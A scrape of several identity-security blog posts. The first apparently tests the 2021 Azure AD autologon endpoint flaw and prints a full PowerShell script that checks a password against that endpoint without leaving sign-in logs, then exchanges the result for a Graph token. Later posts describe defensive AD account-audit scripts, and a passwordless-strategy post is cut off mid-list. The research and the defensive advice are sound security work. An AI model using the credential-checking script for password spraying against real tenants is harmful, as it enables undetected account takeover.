Jorge's Quest For Knowledge!

All About Identity And Security On-Premises And In The Cloud – It's Just Like An Addiction, The More You Have, The More You Want To Have!

Archive for the ‘Security’ Category

(2021-10-05) Azure AD Password Brute Force Flaw Found By ArsTechnica

Posted by Jorge on 2021-10-05


Last week, as many of you, I became aware of the the Azure AD Password Brute Force “Flaw” that was found by ArsTechnica. Of course this raised my interest and I wanted to do some research myself to understand as best as possible what was going on.

Source: https://arstechnica.com/information-technology/2021/09/new-azure-active-directory-password-brute-forcing-flaw-has-no-fix/

This whole thing was focussed on an Azure AD endpoint mainly used for Seamless Sign-On when using either PHS only or PTA only for a specific domain in Azure AD.

So I will start at the beginning and walk you through what I found.

When I looked into my sign-in logs of my test/dev Azure AD tenant, I saw the following

Figure 1: Sign-In Events In The Sign-In Logs In Azure AD

To test this I used the following code, that I found through https://securecloud.blog/2019/12/26/reddit-thread-answer-azure-ad-autologon-endpoint/

Invoke-Command -ScriptBlock {
	[string]$tenantname= Read-Host -Prompt "Enter Azure AD Tenant Short Name"	
	[string]$username= Read-Host -Prompt "Enter UserName"
	$securedValue = Read-Host -AsSecureString -Prompt "Enter Password"
	$bstr = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($securedValue)
	$password = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($bstr)

	$requestid = [System.Guid]::NewGuid().guid

	$domain = ($username -split "@")[1]

	Invoke-RestMethod -Method Get -UseBasicParsing ("https://login.microsoftonline.com/common/userrealm/$username" + "?api-version=1.0") -UserAgent $userAgent

	$headers = @{
		"client-request-id"=$requestid
		"return-client-request-id"="true"
	}

	$uri2 = "https://autologon.microsoftazuread-sso.com/$domain/winauth/trust/2005/usernamemixed?client-request-id=$requestid"

	[xml]$data = '<?xml version="1.0" encoding="UTF-8"?>
	<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing" xmlns:u="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">
	  <s:Header>
		<a:Action s:mustUnderstand="1">http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue</a:Action>
		<a:MessageID>urn:uuid:36a6762f-40a9-4279-b4e6-b01c944b5698</a:MessageID>
		<a:ReplyTo>
		  <a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address>
		</a:ReplyTo>
		<a:To s:mustUnderstand="1">https://autologon.microsoftazuread-sso.com/$tenantname.onmicrosoft.com/winauth/trust/2005/usernamemixed?client-request-id=30cad7ca-797c-4dba-81f6-8b01f6371013</a:To>
		<o:Security xmlns:o="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" s:mustUnderstand="1">
		  <u:Timestamp u:Id="_0">
			<u:Created>2019-01-02T14:30:02.068Z</u:Created>
			<u:Expires>2019-01-02T14:40:02.068Z</u:Expires>
		  </u:Timestamp>
		  <o:UsernameToken u:Id="uuid-ec4527b8-bbb0-4cbb-88cf-abe27fe60977">
			<o:Username>DefinedLater</o:Username>
			<o:Password>DefinedLater</o:Password>
		  </o:UsernameToken>
		</o:Security>
	  </s:Header>
	  <s:Body>
		<trust:RequestSecurityToken xmlns:trust="http://schemas.xmlsoap.org/ws/2005/02/trust">
		  <wsp:AppliesTo xmlns:wsp="http://schemas.xmlsoap.org/ws/2004/09/policy">
			<a:EndpointReference>
			  <a:Address>urn:federation:MicrosoftOnline</a:Address>
			</a:EndpointReference>
		  </wsp:AppliesTo>
		  <trust:KeyType>http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey</trust:KeyType>
		  <trust:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</trust:RequestType>
		</trust:RequestSecurityToken>
	  </s:Body>
	</s:Envelope>
	'

	[string]$UsernameToken  = [System.Guid]::NewGuid().guid

	[string]$messageId = "urn:uuid:" + ([System.Guid]::NewGuid().guid)

	$data.Envelope.Header.Security.UsernameToken.Id = $UsernameToken

	$data.Envelope.Header.Security.UsernameToken.Username = $username

	$data.Envelope.Header.Security.UsernameToken.Password = $password

	$data.Envelope.Header.MessageID = $messageId

	$data.Envelope.Header.To.'#text'= $uri2

	$req = Invoke-RestMethod -UseBasicParsing -Uri $uri2 -Method Post -Headers $headers -Body  $data -ContentType "application/soap+xml; charset=utf-8" -UserAgent $userAgent

	$samltoken = $req.Envelope.Body.RequestSecurityTokenResponse.RequestedSecurityToken.Assertion.DesktopSsoToken

	$token ='<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:1.0:assertion"><DesktopSsoToken>SAMLSSO</DesktopSsoToken></saml:Assertion>' -replace "SAMLSSO", $samltoken

	$bytes = [System.Text.Encoding]::ASCII.GetBytes($token)

	$base64 = [System.Convert]::ToBase64String($bytes);$base64

	$uri3 = "https://login.microsoftonline.com/common/oauth2/token"

	$body =@{
		client_id = "cb1056e2-e479-49de-ae31-7812af012ed8"
		resource = "https://graph.microsoft.com"
		grant_type = "urn:ietf:params:oauth:grant-type:saml1_1-bearer"
		assertion = $base64
	}
		 
	$req = Invoke-RestMethod -UseBasicParsing -Uri $uri3 -Method Post -Headers $headers -ContentType "application/x-www-form-urlencoded" -Body $body

	$headers = @{
		"Authorization" = ($req.token_type) +" "+ ($req.access_token)
	   }
		 
	$me = Invoke-RestMethod -Uri ($body.resource + "/v1.0/me") -Method Get -Headers $headers; $me
}
  • [1] the sign in to my Windows 10 using my Azure AD account in a managed domain (jorge@managed.domain) (Visible in Figure 1);
  • [2] the sign-in to Azure AD portal using an account with Global Admin privileges (Visible in Figure 1);
  • [3] the sign-in for Azure AD PowerShell (Connect-AzureAD) with my Azure AD account in a managed domain (jorge@managed.domain), where I on purpose provided a wrong password. Hence the failure result (Visible in Figure 1);
  • [4] the sign-in for Azure AD PowerShell (Connect-AzureAD) with my federated Azure AD account (jorge@federated.domain). Fiddler showed redirection to my ADFS farm in my test environment, but that test environment is shutdown so ADFS (and WAP) is not available (sign-in did not initiate therefore not visible in logs) (Not visible in Figure 1);
  • [5] the sign-in for Azure AD PowerShell (Connect-AzureAD) with my federated Azure AD account @ work. Fiddler showed redirection to the ADFS farm at work. I did not complete sign-in, therefore nothing visible in sign-in logs in that Azure AD tenant. If I would complete the sign-in it would be visible for sure (Not visible in Figure 1);
  • [6] using the code above and signing in with my federated Azure AD account (jorge@federated.domain) and a wrong password (PHS enabled!) (Not visible in Figure 1);
    1. Fiddler DID NOT show a redirection to my ADFS farm in my test environment;
    2. Nothing was visible in the Azure AD sign-in logs;
    3. Output of the code was (figure 2);
Figure 2: Signing-In With A Federated Azure AD Account, And Wrong Password, Against The Azure AD UserNameMixed Endpoint
  • [7] using the code above and signing in with my federated Azure AD account (jorge@federated.domain) and a correct password (PHS enabled!) (I confirmed PHS was enabled and working and the password for this account was synched!) (Not visible in Figure 1);
    1. Fiddler DID NOT show a redirection to my ADFS farm in my test environment;
    2. Nothing was visible in the Azure AD sign-in logs;
    3. Output of the code was as above (figure 2);
  • [8] using the code above and signing in with my managed Azure AD account (jorge@managed.domain) and a wrong password (Not visible in Figure 1);
    1. Nothing was visible in the Azure AD sign-in logs;
    2. Output of the code was (figure 3);
Figure 3: Signing-In With A Managed Azure AD Account, And Wrong Password, Against The Azure AD UserNameMixed Endpoint
  • [9] using the code above and signing in with my managed Azure AD account (jorge@managed.domain) and a correct password (Not visible in Figure 1);
    1. Nothing was visible in the Azure AD sign-in logs;
    2. Output of the code was: MFA kicks in due to conditional access being enabled in all occasions for this account and because no MFA was done, authentication fails (figure 4);
Figure 4: Signing-In With A Managed Azure AD Account, And Correct Password, Against The Azure AD UserNameMixed Endpoint (Conditional Access Policy ENABLED)
  • [10] after disabling the conditional access policy impacting the managed Azure AD account and using the code above and signing in with my managed Azure AD account (jorge@managed.domain) and a correct password (Not visible in Figure 1);
    1. Nothing was visible in the Azure AD sign-in logs;
    2. Output of the code was: No MFA this time due to disabling conditional access policy, authentication now fully succeeds (figure 5);
Figure 5: Signing-In With A Managed Azure AD Account, And Correct Password, Against The Azure AD UserNameMixed Endpoint (Conditional Access Policy DISABLED)

I wanted to go a step further and see what happens if I converted my federated domain to a managed domain. And that is exactly what I did!

I converted “@federated.domain” to “@managed.domain”. so, now the user jorge@federated.domain is jorge@federated.domain.converted.to.managed.domain (man I’m glad this is not my real mail address!)

  • [11] using the code above and signing in with my converted managed Azure AD account (jorge@federated.domain.converted.to.managed.domain) and a correct password (Not visible in Figure 1);
    1. Nothing was visible in the Azure AD sign-in logs;
    2. Output of the code was: (figure 6);
Figure 6: Signing-In With A Managed (Converted From Federated) Azure AD Account, And Correct Password, Against The Azure AD UserNameMixed Endpoint
  • [12] as soon as I reverted back from native to federated it failed again as in [7]

So based upon these findings my personal conclusion is:

  1. This does allow password brute-force/spraying attacks to understand whether a password is correct or not
  2. Nothing is logged in the sign-in logs in Azure AD, that applies to both success and failure sign-ins
  3. It appears NOT to work (i.e. no security issue) when targeting accounts in federated domains, whether PHS is enabled or not. It looks like the Azure AD UserNameMixed endpoint ignores requests from accounts in federated domains (ADFS is not that bad after all! 😉 );
  4. It appears to work (i.e. security issue) when targeting accounts in managed domains, when either using PHS (tested) and PTA (not tested) as those can use Seamless SSO;
  5. It applies to PTA too because Azure AD receives the password and sends it to the PTA agent on-premises and because it can also use Seamless SSO;
  6. Although NOT tested against ADFS/WAP using the code above, if the same endpoint is exposed in ADFS through WAP, then you have the exact same issue for accounts in AD. A recommendation is to have it published through ADFS, but NOT to publish it through WAP (proxy);
  7. I do not consider this to be a vulnerability, but rather a bad “by design”-made decision, because:
    1. Nothing is logged, either with failure of success;
    2. The endpoint is always enabled whether or not you use Seamless SSO;
  8. Although NOT mentioned previously by me, but in step [11] it only worked after disabling Azure AD Identity Protection Sign-in Risk. After I converted the domain from federated to managed, Azure AD Identity protection sign-in risk kicked in and forced me to change my password. After changing my password, I would be in the same boat as an normal managed account
  9. Although nothing being logged in the Azure AD sign-in logs when targeting the Azure AD UserNameMixed, I think have Azure AD Identity Protection AND a conditional access policy forcing MFA at all times will save and protect your bacon. During my testing I experienced blockages due to Azure AD Identity Protection being enabled and Conditional Access forcing MFA at all times. Although MFA may be enabled, but because confirmation is given a password is correct or not, and when correct you just need to find another endpoint/app/whatever for which MFA is not enabled.

Recommendations for you:

  • Enable conditional access policy to always force MFA, especially in external scenarios and/or from untrusted devices
  • Enable Azure AD Identity Protection Sign-In and User-Risk
  • And while you are at it, not really related to this, do enable PHS if you are federated, to be able to leverage leaked credentials

With that in mind, Microsoft appears to go to change things as described in the following link: https://www.databreachtoday.com/microsoft-will-mitigate-brute-force-bug-in-azure-ad-a-17646

Cheers,

Jorge

————————————————————————————————————————————————————-
This posting is provided “AS IS” with no warranties and confers no rights!
Always evaluate/test everything yourself first before using/implementing this in production!
This is today’s opinion/technology, it might be different tomorrow and will definitely be different in 10 years!
DISCLAIMER: https://jorgequestforknowledge.wordpress.com/disclaimer/

————————————————————————————————————————————————————-
########################### IAMTEC | Jorge’s Quest For Knowledge ##########################
#################### http://JorgeQuestForKnowledge.wordpress.com/ ###################

————————————————————————————————————————————————————

IAMTEC

Identity | Security | Recovery

————————————————————————————————————————————————————-

Posted in Azure AD Identity Protection, Conditional Access, Multi-Factor AuthN, Pass Through Authentication, Password Hash Sync (PHS), Passwords, Security, SSO, Windows Azure Active Directory | Leave a Comment »

(2019-11-21) Active Directory Security Scan Of Accounts (Part 5)

Posted by Jorge on 2019-11-21


With the PoSH script made available through this blog post you can scan and check ALL accounts in the AD forest to get “Account And Password Hygiene” related information.

Through LDAP queries, this PoSH script retrieves the following information for every account in the AD forest that is able to authenticate:

  • Domain FQDN (e.g. ‘IAMTEC.NET’)
  • Domain NBT (e.g. ‘IAMTEC’)
  • Domain DN (e.g. ‘DC=IAMTEC,DC=NET’)
  • Sam Account Name (e.g. ‘jorge’)
  • Account Name (e.g. ‘IAMTEC\jorge’)
  • Account Type (computer, inetOrgPerson, msDS-GroupManagedServiceAccount, trust (user), user)
  • Enabled (e.g. TRUE or FALSE)
  • Pwd Last Set On (e.g. <date/time> or "Must Chng At Next Logon")
  • Has Adm Count Stamp (e.g. TRUE or FALSE)
  • Delegatable Adm (e.g. TRUE or FALSE)
  • Does Not Req Pre-AuthN (e.g. TRUE or FALSE)
  • Has Sid History (e.g. TRUE or FALSE)
  • Has LM Hash (e.g. TRUE or FALSE)
  • Has Default Pwd (e.g. TRUE or FALSE)
  • Has Blank Pwd (e.g. TRUE or FALSE)
  • Uses DES Keys Only (e.g. TRUE or FALSE)
  • Has Missing AES Keys (e.g. TRUE or FALSE)
  • Pwd Rev Encrypt (e.g. TRUE or FALSE)
  • Pwd Not Req (e.g. TRUE or FALSE)
  • Pwd Never Expires (e.g. TRUE or FALSE)
  • Has Shared Pwd (e.g. TRUE – Domain Shrd Pwd Grp x Of y or FALSE)
  • Compromised Pwd (e.g. TRUE or FALSE)
  • Most Used Hash (e.g. <hash> (<count>) or N.A.)

When the script finishes, it produces a CSV report that contains every account in the AD forest that can authenticate (user, computer, gMSA, inetOrgPerson) and potentially be a threat, and it displays that CSV in a GridView automatically. The CSV can of course also be used in Excel if needed. With this information you may be able to remove or fix configurations and/or get an idea how things look like to mitigate risks as much as possible!

While the script is running it logs every to a log file. which is in the same folder as the script itself.

This script requires:

  • PowerShell Module: ActiveDirectory
  • PowerShell Module: LithnetPasswordProtection
  • PowerShell Module: DSInternals
  • LithNet Active Directory Password Protection Store With Banned Words And/Or Compromised Passwords/Hashes
  • Enterprise Admin Permissions, or at least "Replicate Directory Changes" and "Replicate Directory Changes All" for EVERY NC in the AD forest!
    REMARK: Script does check for Enterprise Admin role permissions!

Scan/Check All Accounts In The AD Forest And Create The Report

.\Scan-And-Check-All-Accounts-In-AD-Forest_05_Account-And-Password-Hygiene-Info.ps1

The script has been tested in three different AD forests:

  • AD forest with a Single AD domain with less than 500 accounts and quite some account config
  • AD forest with a Single AD domain with approx. 150000 accounts and less account config
  • AD forest with Multiple AD domains (Forest Root Domain, Child Domain and Tree Root Domain) with approx. respectively 4000, 25000 and 12000 accounts and less account config

image

Figure 1a: Sample Output Of The Log File

image

Figure 1b: Sample Output Of The Log File

image

Figure 1c: Sample Output Of The Log File

image

Figure 1d: Sample Output Of The Log File

image

Figure 1e: Sample Output Of The Log File

To open the CSV on another computer and display it in GridView, execute the following command:

Import-CSV <Full Path To The CSV File> | Out-Gridview

image

Figure 2a: Sample Output Of The CSV File Displayed In PowerShell GridView

image

Figure 2b: Sample Output Of The CSV File Displayed In PowerShell GridView

To get the script, see: Scan And Check All Accounts In AD Forest – Account And Password Hygiene

Cheers,

Jorge

————————————————————————————————————————————————————-
This posting is provided "AS IS" with no warranties and confers no rights!
Always evaluate/test everything yourself first before using/implementing this in production!
This is today’s opinion/technology, it might be different tomorrow and will definitely be different in 10 years!
DISCLAIMER:
https://jorgequestforknowledge.wordpress.com/disclaimer/
————————————————————————————————————————————————————-
########################### Jorge’s Quest For Knowledge ##########################
####################
http://JorgeQuestForKnowledge.wordpress.com/ ###################
————————————————————————————————————————————————————-

Posted in Active Directory Domain Services (ADDS), AD Queries, Blog Post Series, IT Pro Tools, Passwords, PowerShell, Replication, Security, Security, Tooling/Scripting | 2 Comments »

(2019-11-18) Active Directory Security Scan Of Accounts (Part 4)

Posted by Jorge on 2019-11-18


With the PoSH script made available through this blog post you can scan and check ALL accounts in the AD forest to get “Permissions At Object Level” related account information.

Through LDAP queries, this PoSH script retrieves the following information for every account in the AD forest that is able to authenticate:

  • Domain FQDN (e.g. ‘IAMTEC.NET’)
  • Domain NBT (e.g. ‘IAMTEC’)
  • Domain DN (e.g. ‘DC=IAMTEC,DC=NET’)
  • Sam Account Name (e.g. ‘jorge’)
  • Account Name (e.g. ‘IAMTEC\jorge’)
  • Account Type (computer, inetOrgPerson, msDS-GroupManagedServiceAccount, trust (user), user)
  • Protected Group Membership (e.g. <comma separated list of group account names> or "No Memberships")
    REMARK: With protected groups, the focus is ONLY on default AD Protected Groups (e.g. BUILTIN\Administrators", "<DOMAIN>\Domain Admins", etc.)
    REMARK: if protected groups are listed then any ACEs for those protected groups are NOT listed to prevent an overload of ACEs
  • ACE On AdminSDHolder (e.g. <comma separated list of objects with configured permissions> or "No ACEs")
    REMARK: If protected groups are listed then any ACEs for those protected groups are NOT listed to prevent an overload of ACEs
    REMARK: It will only look at explicit defined ACEs. Inherited ACEs are NOT listed to prevent an overload of ACEs
  • Powerful ACEs On Objects (e.g. <comma separated list of objects with configured permissions> or "No ACEs")
    REMARK: If protected groups are listed then any ACEs for those protected groups are NOT listed to prevent an overload of ACEs
    REMARK: It will only look at explicit defined ACEs. Inherited ACEs are NOT listed to prevent an overload of ACEs

The following ACEs are considered powerful:

  • Full Control
  • Password Reset Control Access Rights
  • Control Access Right In General
  • WriteOwner (Allows to write the owner and that allows to write the DACL)
  • Write DACL
  • Write Property In General
  • Write Property For “lockoutTime” (Unlocking Account)
  • Write Property For “msDS-AllowedToDelegateTo” (Adding/removing accounts for account based delegation)
  • Write Property For “msDS-AllowedToActOnBehalfOfOtherIdentity” (Adding/removing accounts for resourced based delegation)
  • Write Property For “servicePrincipalName” (Adding/removing SPNs)
  • Write Property For “userAccountControl” (Managing security/delegation settings, enabling/disabling account)

When the script finishes, it produces a CSV report that contains every account in the AD forest that can authenticate (user, computer, gMSA, inetOrgPerson) and potentially be a threat, and it displays that CSV in a GridView automatically. The CSV can of course also be used in Excel if needed. With this information you may be able to remove or fix configurations and/or get an idea how things look like to mitigate risks as much as possible!

While the script is running it logs every to a log file. which is in the same folder as the script itself.

This script requires:

  • PowerShell Module: ActiveDirectory
  • Basic User Permissions, Nothing Special!

Scan/Check All Accounts In The AD Forest And Create The Report

.\Scan-And-Check-All-Accounts-In-AD-Forest_04_Object-Level-Permissions-Info.ps1

The script has been tested in three different AD forests:

  • AD forest with a Single AD domain with less than 500 accounts and quite some account config
  • AD forest with a Single AD domain with approx. 150000 accounts and less account config
  • AD forest with Multiple AD domains (Forest Root Domain, Child Domain and Tree Root Domain) with approx. respectively 4000, 25000 and 12000 accounts and less account config

image

Figure 1a: Sample Output Of The Log File

image

Figure 1b: Sample Output Of The Log File

image

Figure 1c: Sample Output Of The Log File

image

Figure 1d: Sample Output Of The Log File

To open the CSV on another computer and display it in GridView, execute the following command:

Import-CSV <Full Path To The CSV File> | Out-Gridview

image

Figure 2: Sample Output Of The CSV File Displayed In PowerShell GridView

To get the script, see: Scan And Check All Accounts In AD Forest – Object Level Permissions Info

Cheers,

Jorge

————————————————————————————————————————————————————-
This posting is provided "AS IS" with no warranties and confers no rights!
Always evaluate/test everything yourself first before using/implementing this in production!
This is today’s opinion/technology, it might be different tomorrow and will definitely be different in 10 years!
DISCLAIMER:
https://jorgequestforknowledge.wordpress.com/disclaimer/
————————————————————————————————————————————————————-
########################### Jorge’s Quest For Knowledge ##########################
####################
http://JorgeQuestForKnowledge.wordpress.com/ ###################
————————————————————————————————————————————————————-

Posted in Active Directory Domain Services (ADDS), AD Queries, Blog Post Series, Delegation Of Control, IT Pro Tools, PowerShell, Security, Security, Tooling/Scripting | Leave a Comment »

(2019-11-15) Active Directory Security Scan Of Accounts (Part 3)

Posted by Jorge on 2019-11-15


With the PoSH script made available through this blog post you can scan and check ALL accounts in the AD forest to get “Permissions At NC Level” related account information.

Through LDAP queries, this PoSH script retrieves the following information for every account in the AD forest that is able to authenticate:

  • Domain FQDN (e.g. ‘IAMTEC.NET’)
  • Domain NBT (e.g. ‘IAMTEC’)
  • Domain DN (e.g. ‘DC=IAMTEC,DC=NET’)
  • Sam Account Name (e.g. ‘jorge’)
  • Account Name (e.g. ‘IAMTEC\jorge’)
  • Account Type (computer, inetOrgPerson, msDS-GroupManagedServiceAccount, trust (user), user)
  • DS Repl Chng Perms (e.g. "<comma separated list of domain DNs> (<Assigned Security Principal>)" or "No Perms")
  • DS Repl Chng All Perms (e.g. "<comma separated list of domain DNs> (<Assigned Security Principal>)" or "No Perms")
  • Migr SID History Perms (e.g. "<comma separated list of domain DNs> (<Assigned Security Principal>)" or "No Perms")

When the script finishes, it produces a CSV report that contains every account in the AD forest that can authenticate (user, computer, gMSA, inetOrgPerson) and potentially be a threat, and it displays that CSV in a GridView automatically. The CSV can of course also be used in Excel if needed. With this information you may be able to remove or fix configurations and/or get an idea how things look like to mitigate risks as much as possible!

While the script is running it logs every to a log file. which is in the same folder as the script itself.

This script requires:

  • PowerShell Module: ActiveDirectory
  • Basic User Permissions, Nothing Special!

Scan/Check All Accounts In The AD Forest And Create The Report

.\Scan-And-Check-All-Accounts-In-AD-Forest_03_NC-Level-Permissions-Info.ps1

The script has been tested in three different AD forests:

  • AD forest with a Single AD domain with less than 500 accounts and quite some account config
  • AD forest with a Single AD domain with approx. 150000 accounts and less account config
  • AD forest with Multiple AD domains (Forest Root Domain, Child Domain and Tree Root Domain) with approx. respectively 4000, 25000 and 12000 accounts and less account config

image

Figure 1a: Sample Output Of The Log File

image

Figure 1b: Sample Output Of The Log File

image

Figure 1c: Sample Output Of The Log File

image

Figure 1d: Sample Output Of The Log File

To open the CSV on another computer and display it in GridView, execute the following command:

Import-CSV <Full Path To The CSV File> | Out-Gridview

image

Figure 2: Sample Output Of The CSV File Displayed In PowerShell GridView

To get the script, see: Scan And Check All Accounts In AD Forest – NC Level Permissions Info

Cheers,

Jorge

————————————————————————————————————————————————————-
This posting is provided "AS IS" with no warranties and confers no rights!
Always evaluate/test everything yourself first before using/implementing this in production!
This is today’s opinion/technology, it might be different tomorrow and will definitely be different in 10 years!
DISCLAIMER:
https://jorgequestforknowledge.wordpress.com/disclaimer/
————————————————————————————————————————————————————-
########################### Jorge’s Quest For Knowledge ##########################
####################
http://JorgeQuestForKnowledge.wordpress.com/ ###################
————————————————————————————————————————————————————-

Posted in Active Directory Domain Services (ADDS), AD Queries, Blog Post Series, Delegation Of Control, IT Pro Tools, PowerShell, Security, Security, Tooling/Scripting | Leave a Comment »

(2019-11-12) Active Directory Security Scan Of Accounts (Part 2)

Posted by Jorge on 2019-11-12


With the PoSH script made available through this blog post you can scan and check ALL accounts in the AD forest to get “Kerberos Delegation” related account information.

Through LDAP queries, this PoSH script retrieves the following information for every account in the AD forest that is able to authenticate:

  • Domain FQDN (e.g. ‘IAMTEC.NET’)
  • Domain NBT (e.g. ‘IAMTEC’)
  • Domain DN (e.g. ‘DC=IAMTEC,DC=NET’)
  • Sam Account Name (e.g. ‘jorge’)
  • Account Name (e.g. ‘IAMTEC\jorge’)
  • Account Type (computer, inetOrgPerson, msDS-GroupManagedServiceAccount, trust (user), user)
  • Service Principal Name(s) (e.g. <comma separated list of SPNs> or "No SPNs")
  • Acc Based Deleg Type (e.g. "No-Acc-Deleg" or "Acc-Unc-Deleg" or "Acc-Con-Deleg-AnyAuthN" or "Acc-Con-Deleg-KerbAuthN"
  • Acc Based Deleg To (e.g. <comma separated list of SPNs> or "No Delegated SPNs")
  • Res Based Deleg For (e.g. <comma separated list of user account names with type and domain listed> or "No-Res-Deleg"

When the script finishes, it produces a CSV report that contains every account in the AD forest that can authenticate (user, computer, gMSA, inetOrgPerson) and potentially be a threat, and it displays that CSV in a GridView automatically. The CSV can of course also be used in Excel if needed. With this information you may be able to remove or fix configurations and/or get an idea how things look like to mitigate risks as much as possible!

While the script is running it logs every to a log file. which is in the same folder as the script itself.

This script requires:

  • PowerShell Module: ActiveDirectory
  • Basic User Permissions, Nothing Special!

Scan/Check All Accounts In The AD Forest And Create The Report

.\Scan-And-Check-All-Accounts-In-AD-Forest_02_Delegation-Info.ps1

The script has been tested in three different AD forests:

  • AD forest with a Single AD domain with less than 500 accounts and quite some account config
  • AD forest with a Single AD domain with approx. 150000 accounts and less account config
  • AD forest with Multiple AD domains (Forest Root Domain, Child Domain and Tree Root Domain) with approx. respectively 4000, 25000 and 12000 accounts and less account config

image

Figure 1a: Sample Output Of The Log File

image

Figure 1b: Sample Output Of The Log File

image

Figure 1c: Sample Output Of The Log File

image

Figure 1d: Sample Output Of The Log File

To open the CSV on another computer and display it in GridView, execute the following command:

Import-CSV <Full Path To The CSV File> | Out-Gridview

image

Figure 2: Sample Output Of The CSV File Displayed In PowerShell GridView

To get the script, see: Scan And Check All Accounts In AD Forest – Delegation Info

Cheers,

Jorge

————————————————————————————————————————————————————-
This posting is provided "AS IS" with no warranties and confers no rights!
Always evaluate/test everything yourself first before using/implementing this in production!
This is today’s opinion/technology, it might be different tomorrow and will definitely be different in 10 years!
DISCLAIMER:
https://jorgequestforknowledge.wordpress.com/disclaimer/
————————————————————————————————————————————————————-
########################### Jorge’s Quest For Knowledge ##########################
####################
http://JorgeQuestForKnowledge.wordpress.com/ ###################
————————————————————————————————————————————————————-

Posted in Active Directory Domain Services (ADDS), AD Queries, Blog Post Series, Delegation, IT Pro Tools, Kerberos AuthN, Kerberos Constrained Delegation, PowerShell, Security, Security, Tooling/Scripting | Leave a Comment »

(2019-11-09) Active Directory Security Scan Of Accounts (Part 1)

Posted by Jorge on 2019-11-09


With the PoSH script made available through this blog post you can scan and check ALL accounts in the AD forest to get “basic” account information that is related to security.

Through LDAP queries, this PoSH script retrieves the following information for every account in the AD forest that is able to authenticate:

  • Domain FQDN (e.g. ‘IAMTEC.NET’)
  • Domain NBT (e.g. ‘IAMTEC’)
  • Domain DN (e.g. ‘DC=IAMTEC,DC=NET’)
  • Sam Account Name (e.g. ‘jorge’)
  • Account Name (e.g. ‘IAMTEC\jorge’)
  • Account Type (computer, inetOrgPerson, msDS-GroupManagedServiceAccount, trust (user), user)
  • User Principal Name  (e.g. ‘jorge@iamtec.nl’)
  • Display Name (e.g. Jorge de Almeida Pinto)
  • Enabled (e.g. TRUE or FALSE)
  • Locked (e.g. TRUE – At:<date/time> or FALSE – Never Locked or FALSE – Has Been Locked Before)
  • Account Expires On (e.g. <date/time> or NEVER)
  • Pwd Last Set On (e.g. <date/time> or "Must Chng At Next Logon")
  • Pwd Never Expires (e.g. TRUE or FALSE)
  • Last Logon Timestamp (e.g. <date/time> or NEVER)
  • Last Logon (RWDC) (e.g. <date/time> or NEVER Or NOT AVAILABLE (On ‘<FQDN RWDC>’)) <– THIS MEANS IT WILL QUERY EVERY DC (RWDC And RODC) In The AD Domain To Get The LastLogon Property From That DC! (Will be slow!)

When the script finishes, it produces a CSV report that contains every account in the AD forest that can authenticate (user, computer, gMSA, inetOrgPerson) and potentially be a threat, and it displays that CSV in a GridView automatically. The CSV can of course also be used in Excel if needed. With this information you may be able to remove or fix configurations and/or get an idea how things look like to mitigate risks as much as possible!

While the script is running it logs every to a log file. which is in the same folder as the script itself.

This script requires:

  • PowerShell Module: ActiveDirectory
  • Basic User Permissions, Nothing Special!

Scan/Check All Accounts In The AD Forest And Create The Report

.\Scan-And-Check-All-Accounts-In-AD-Forest_01_Basic-Info.ps1

The script has been tested in three different AD forests:

  • AD forest with a Single AD domain with less than 500 accounts and quite some account config
  • AD forest with a Single AD domain with approx. 150000 accounts and less account config
  • AD forest with Multiple AD domains (Forest Root Domain, Child Domain and Tree Root Domain) with approx. respectively 4000, 25000 and 12000 accounts and less account config

image

Figure 1a: Sample Output Of The Log File

image

Figure 1b: Sample Output Of The Log File

image

Figure 1c: Sample Output Of The Log File

image

Figure 1d: Sample Output Of The Log File

To open the CSV on another computer and display it in GridView, execute the following command:

Import-CSV <Full Path To The CSV File> | Out-Gridview

image

Figure 2: Sample Output Of The CSV File Displayed In PowerShell GridView

To get the script, see: Scan And Check All Accounts In AD Forest – Basic Info

Cheers,

Jorge

————————————————————————————————————————————————————-
This posting is provided "AS IS" with no warranties and confers no rights!
Always evaluate/test everything yourself first before using/implementing this in production!
This is today’s opinion/technology, it might be different tomorrow and will definitely be different in 10 years!
DISCLAIMER:
https://jorgequestforknowledge.wordpress.com/disclaimer/
————————————————————————————————————————————————————-
########################### Jorge’s Quest For Knowledge ##########################
####################
http://JorgeQuestForKnowledge.wordpress.com/ ###################
————————————————————————————————————————————————————-

Posted in Active Directory Domain Services (ADDS), AD Queries, Blog Post Series, IT Pro Tools, Last Logon Information, PowerShell, Security, Security, Tooling/Scripting | Leave a Comment »

(2019-08-01) Moving Towards The Password-Less Concept – One Heck Of Journey And Badly Needed

Posted by Jorge on 2019-08-01


Current passwords are potentially weak and any use of those in general further weakens an infrastructure. Preferably any org needs to move away from using passwords as much as possible. This means for example preventing the usage of passwords, and instead use SSO and/or other more secure authentication mechanisms. In other words, the adoption of the "Password-Less" concept. However, for those scenarios that cannot adopt “Password-Less" (yet), passwords must be strengthened or better secured at rest and in transport. In today’s world “identity” is the key control plane. Therefore protecting the “identity” and everything related is of utmost importance. Usage of weak passwords presents unacceptable security risks to any org. We all know that, don’t we?! Now you need to act to secure yourself as best as possible.

Going password-less is a journey on its own and implementing that concept could mean for example (NOT an exhaustive list and also in random order!):

  • Ban “weak/common” words from being used in weak passwords using Azure AD Password Protection and/or LithNet Password Protection For Active Directory (LPP) (last one is free and the feature set is huge!)
  • Check AD for weak passwords and weak accounts configurations and follow up with risk mitigating actions. Can be done through LPP and DS Internals and generic LDAP queries
  • Help and educate users in terms of using, storing, generating, uniqueness, sharing/distributing, etc. for less frequent (complex and long) and regular used (pass phrases) passwords. Preferably use machine generated passwords as those have no human logic in them, or use (long) passphrases or bang your head against the keyboard multiple times while on and off holding the SHIFT key (last one, kidding!) (people tend to implement logic or sequences somehow in passwords to not forget those long passwords and to make them unique)
  • Move service accounts in AD from regular service accounts to:
    • Group Managed Service Accounts if possible
    • …and if that’s not possible have a password vault store, manage and change passwords on a regular basis
    • …and if that’s not possible keep using regular service accounts with long and unique passwords
  • If possible, increase the password length to a minimum of 15 characters for users
